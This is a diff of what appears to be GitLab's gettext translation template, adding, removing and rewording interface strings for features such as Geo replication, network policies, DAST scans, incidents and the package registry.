-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
